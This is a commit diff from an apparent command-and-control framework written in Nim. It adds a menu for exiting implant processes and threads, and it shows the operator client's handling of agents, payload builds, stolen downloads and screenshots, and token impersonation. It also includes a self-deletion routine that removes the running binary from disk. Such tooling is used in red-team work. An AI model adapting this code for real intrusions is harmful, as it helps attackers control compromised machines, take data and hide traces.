Added right-click context menu for exiting the agent process/thread.
This commit is contained in:
@@ -48,21 +48,21 @@ proc deleteSelfFromDisk*() =
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hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
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if hLocalImgFile == INVALID_HANDLE_VALUE:
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raise newException(CatchableError, "CreateFileW [1]" & GetLastError().getError())
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raise newException(CatchableError, GetLastError().getError())
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if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE:
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raise newException(CatchableError, "SetFileInfByHandle [1]" & GetLastError().getError())
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raise newException(CatchableError, GetLastError().getError())
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CloseHandle(hLocalImgFile)
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hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
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if hLocalImgFile == INVALID_HANDLE_VALUE:
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raise newException(CatchableError, "CreateFileW [2]" & GetLastError().getError())
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raise newException(CatchableError, GetLastError().getError())
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fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS
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if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE:
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raise newException(CatchableError, "SetFileInfByHandle [2]" & GetLastError().getError())
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raise newException(CatchableError, GetLastError().getError())
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CloseHandle(hLocalImgFile)
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@@ -74,139 +74,142 @@ proc main(ip: string = "localhost", port: int = 37573) =
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connection.ws.sendHeartbeat()
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# Receive and parse websocket response message
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let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
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case event.eventType:
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of CLIENT_KEY_EXCHANGE:
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connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
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connection.sendPublicKey(clientKeyPair.publicKey)
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wipeKey(clientKeyPair.privateKey)
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try:
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let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
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case event.eventType:
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of CLIENT_KEY_EXCHANGE:
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connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
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connection.sendPublicKey(clientKeyPair.publicKey)
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wipeKey(clientKeyPair.privateKey)
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of CLIENT_PROFILE:
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profile = parsetoml.parseString(event.data["profile"].getStr())
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of CLIENT_LISTENER_ADD:
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let listener = event.data.to(UIListener)
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listenersTable.listeners.add(listener)
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of CLIENT_AGENT_ADD:
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let agent = event.data.to(UIAgent)
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# The ImGui Multi Select only works well with seq's, so we maintain a
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# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
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sessionsTable.agents.add(agent)
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sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
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if not agent.impersonationToken.isEmptyOrWhitespace():
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sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
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# Initialize position of console windows to bottom by drawing them once when they are added
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# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
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# so if you place your listeners somewhere else, the console windows show up somewhere else too
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# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
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var agentConsole = Console(agent)
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consoles[agent.agentId] = agentConsole
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let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
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if listenersWindow != nil and listenersWindow.DockNode != nil:
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igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
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else:
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igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
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consoles[agent.agentId].draw(connection)
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consoles[agent.agentId].showConsole = false
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of CLIENT_AGENT_CHECKIN:
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sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
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of CLIENT_AGENT_PAYLOAD:
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let payload = decode(event.data["payload"].getStr())
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try:
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let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
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# TODO: Using native file dialogs to have the client select the output file path (does not work in WSL)
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# let outFilePath = callDialogFileSave("Save Payload")
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writeFile(outFilePath, payload)
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except IOError:
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discard
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# Close and reset the payload generation modal window when the payload was received
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listenersTable.generatePayloadModal.resetModalValues()
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igClosePopupToLevel(0, false)
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of CLIENT_CONSOLE_ITEM:
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let agentId = event.data["agentId"].getStr()
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consoles[agentId].console.addItem(
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cast[LogType](event.data["logType"].getInt()),
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event.data["message"].getStr(),
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event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
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)
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of CLIENT_EVENTLOG_ITEM:
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eventlog.textarea.addItem(
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cast[LogType](event.data["logType"].getInt()),
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event.data["message"].getStr(),
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event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
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)
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of CLIENT_BUILDLOG_ITEM:
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listenersTable.generatePayloadModal.buildLog.addItem(
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cast[LogType](event.data["logType"].getInt()),
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event.data["message"].getStr(),
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event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
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)
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of CLIENT_LOOT_ADD:
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let lootItem = event.data.to(LootItem)
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case lootItem.itemType:
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of DOWNLOAD:
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lootDownloads.items.add(lootItem)
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of SCREENSHOT:
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lootScreenshots.items.add(lootItem)
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else: discard
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of CLIENT_LOOT_DATA:
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let
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lootItem = event.data["loot"].to(LootItem)
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data = decode(event.data["data"].getStr())
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of CLIENT_PROFILE:
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profile = parsetoml.parseString(event.data["profile"].getStr())
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case lootItem.itemType:
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of DOWNLOAD:
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lootDownloads.contents[lootItem.lootId] = data
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of SCREENSHOT:
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lootScreenshots.addTexture(lootItem.lootId, data)
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else: discard
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of CLIENT_LISTENER_ADD:
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let listener = event.data.to(UIListener)
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listenersTable.listeners.add(listener)
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of CLIENT_IMPERSONATE_TOKEN:
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let
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agentId = event.data["agentId"].getStr()
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impersonationToken = event.data["username"].getStr()
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sessionsTable.agentImpersonation[agentId] = impersonationToken
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of CLIENT_AGENT_ADD:
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let agent = event.data.to(UIAgent)
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of CLIENT_REVERT_TOKEN:
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sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
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else: discard
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# Draw/update UI components/views
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if showSessionsTable: sessionsTable.draw(addr showSessionsTable)
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if showListeners: listenersTable.draw(addr showListeners, connection)
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if showEventlog: eventlog.draw(addr showEventlog)
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if showDownloads: lootDownloads.draw(addr showDownloads, connection)
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if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection)
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# The ImGui Multi Select only works well with seq's, so we maintain a
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# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
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sessionsTable.agents.add(agent)
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sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
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# Show console windows
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var newConsoleTable: Table[string, ConsoleComponent]
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for agentId, console in consoles.mpairs():
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if console.showConsole:
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# Ensure that new console windows are docked to the bottom panel by default
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igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
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console.draw(connection)
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newConsoleTable[agentId] = console
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if not agent.impersonationToken.isEmptyOrWhitespace():
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sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
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# Initialize position of console windows to bottom by drawing them once when they are added
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# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
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# so if you place your listeners somewhere else, the console windows show up somewhere else too
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# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
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var agentConsole = Console(agent)
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consoles[agent.agentId] = agentConsole
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let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
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if listenersWindow != nil and listenersWindow.DockNode != nil:
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igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
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else:
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igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
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consoles[agent.agentId].draw(connection)
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consoles[agent.agentId].showConsole = false
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of CLIENT_AGENT_CHECKIN:
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sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
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of CLIENT_AGENT_PAYLOAD:
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let payload = decode(event.data["payload"].getStr())
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try:
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let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
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# TODO: Using native file dialogs to have the client select the output file path (does not work in WSL)
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# let outFilePath = callDialogFileSave("Save Payload")
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writeFile(outFilePath, payload)
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except IOError:
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discard
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# Close and reset the payload generation modal window when the payload was received
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listenersTable.generatePayloadModal.resetModalValues()
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igClosePopupToLevel(0, false)
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of CLIENT_CONSOLE_ITEM:
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let agentId = event.data["agentId"].getStr()
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consoles[agentId].console.addItem(
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cast[LogType](event.data["logType"].getInt()),
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event.data["message"].getStr(),
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event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
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)
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# Update the consoles table with only those sessions that have not been closed yet
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# This is done to ensure that closed console windows can be opened again
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consoles = newConsoleTable
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of CLIENT_EVENTLOG_ITEM:
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eventlog.textarea.addItem(
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cast[LogType](event.data["logType"].getInt()),
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event.data["message"].getStr(),
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event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
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)
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igShowDemoWindow(nil)
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of CLIENT_BUILDLOG_ITEM:
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listenersTable.generatePayloadModal.buildLog.addItem(
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cast[LogType](event.data["logType"].getInt()),
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event.data["message"].getStr(),
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event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
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)
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of CLIENT_LOOT_ADD:
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let lootItem = event.data.to(LootItem)
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case lootItem.itemType:
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of DOWNLOAD:
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lootDownloads.items.add(lootItem)
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of SCREENSHOT:
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lootScreenshots.items.add(lootItem)
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else: discard
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of CLIENT_LOOT_DATA:
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let
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lootItem = event.data["loot"].to(LootItem)
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data = decode(event.data["data"].getStr())
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case lootItem.itemType:
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of DOWNLOAD:
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lootDownloads.contents[lootItem.lootId] = data
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of SCREENSHOT:
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lootScreenshots.addTexture(lootItem.lootId, data)
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else: discard
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of CLIENT_IMPERSONATE_TOKEN:
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let
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agentId = event.data["agentId"].getStr()
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impersonationToken = event.data["username"].getStr()
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sessionsTable.agentImpersonation[agentId] = impersonationToken
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of CLIENT_REVERT_TOKEN:
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sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
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else: discard
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# Draw/update UI components/views
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if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection)
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if showListeners: listenersTable.draw(addr showListeners, connection)
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if showEventlog: eventlog.draw(addr showEventlog)
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if showDownloads: lootDownloads.draw(addr showDownloads, connection)
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if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection)
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# Show console windows
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var newConsoleTable: Table[string, ConsoleComponent]
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for agentId, console in consoles.mpairs():
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if console.showConsole:
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# Ensure that new console windows are docked to the bottom panel by default
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igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
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console.draw(connection)
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newConsoleTable[agentId] = console
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# Update the consoles table with only those sessions that have not been closed yet
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# This is done to ensure that closed console windows can be opened again
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consoles = newConsoleTable
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except CatchableError as err:
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echo "[-] ", err.msg
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discard
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# render
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app.render()
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@@ -186,6 +186,9 @@ proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
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component.console.addItem(LOG_OUTPUT, "")
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proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
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# Add command to console
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component.console.addItem(LOG_COMMAND, input)
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# Convert user input into sequence of string arguments
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let parsedArgs = parseInput(input)
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@@ -291,9 +294,6 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
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let command = ($(addr component.inputBuffer[0])).strip()
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if not command.isEmptyOrWhitespace():
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component.console.addItem(LOG_COMMAND, command)
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# Send command to team server
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component.handleAgentCommand(connection, command)
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@@ -2,7 +2,9 @@ import times, tables, strformat, strutils, algorithm
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import imguin/[cimgui, glfw_opengl, simple]
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import ./console
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import ../core/[task, websocket]
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import ../utils/[appImGui, colors]
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import ../../modules/manager
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import ../../common/[types, utils]
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type
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@@ -43,7 +45,7 @@ proc interact(component: SessionsTableComponent) =
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component.selection.ImGuiSelectionBasicStorage_Clear()
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proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
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proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connection: WsConnection) =
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igBegin(component.title, showComponent, 0)
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let textSpacing = igGetStyle().ItemSpacing.x
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@@ -156,6 +158,35 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
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component.interact()
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igCloseCurrentPopup()
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if igBeginMenu("Exit", true):
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if igMenuItem("Process", nil, false, true):
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for i, agent in component.agents:
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if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
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if component.consoles[].hasKey(agent.agentId):
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component.consoles[][agent.agentId].handleAgentCommand(connection, "exit process")
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else:
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let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["process"])
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connection.sendAgentTask(agent.agentId, "exit process", task)
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ImGuiSelectionBasicStorage_Clear(component.selection)
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igCloseCurrentPopup()
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if igMenuItem("Thread", nil, false, true):
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for i, agent in component.agents:
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if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
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if component.consoles[].hasKey(agent.agentId):
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component.consoles[][agent.agentId].handleAgentCommand(connection, "exit thread")
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else:
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let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["thread"])
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connection.sendAgentTask(agent.agentId, "exit thread", task)
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ImGuiSelectionBasicStorage_Clear(component.selection)
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igCloseCurrentPopup()
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igEndMenu()
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igSeparator()
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if igMenuItem("Remove", nil, false, true):
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# Update agents table with only non-selected ones
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var newAgents: seq[UIAgent] = @[]
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@@ -25,7 +25,6 @@ type
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LONG = 3'u8
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BOOL = 4'u8
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BINARY = 5'u8
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# FLAG = 6'u8
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HeaderFlags* = enum
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# Flags should be powers of 2 so they can be connected with or operators
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Reference in New Issue
Block a user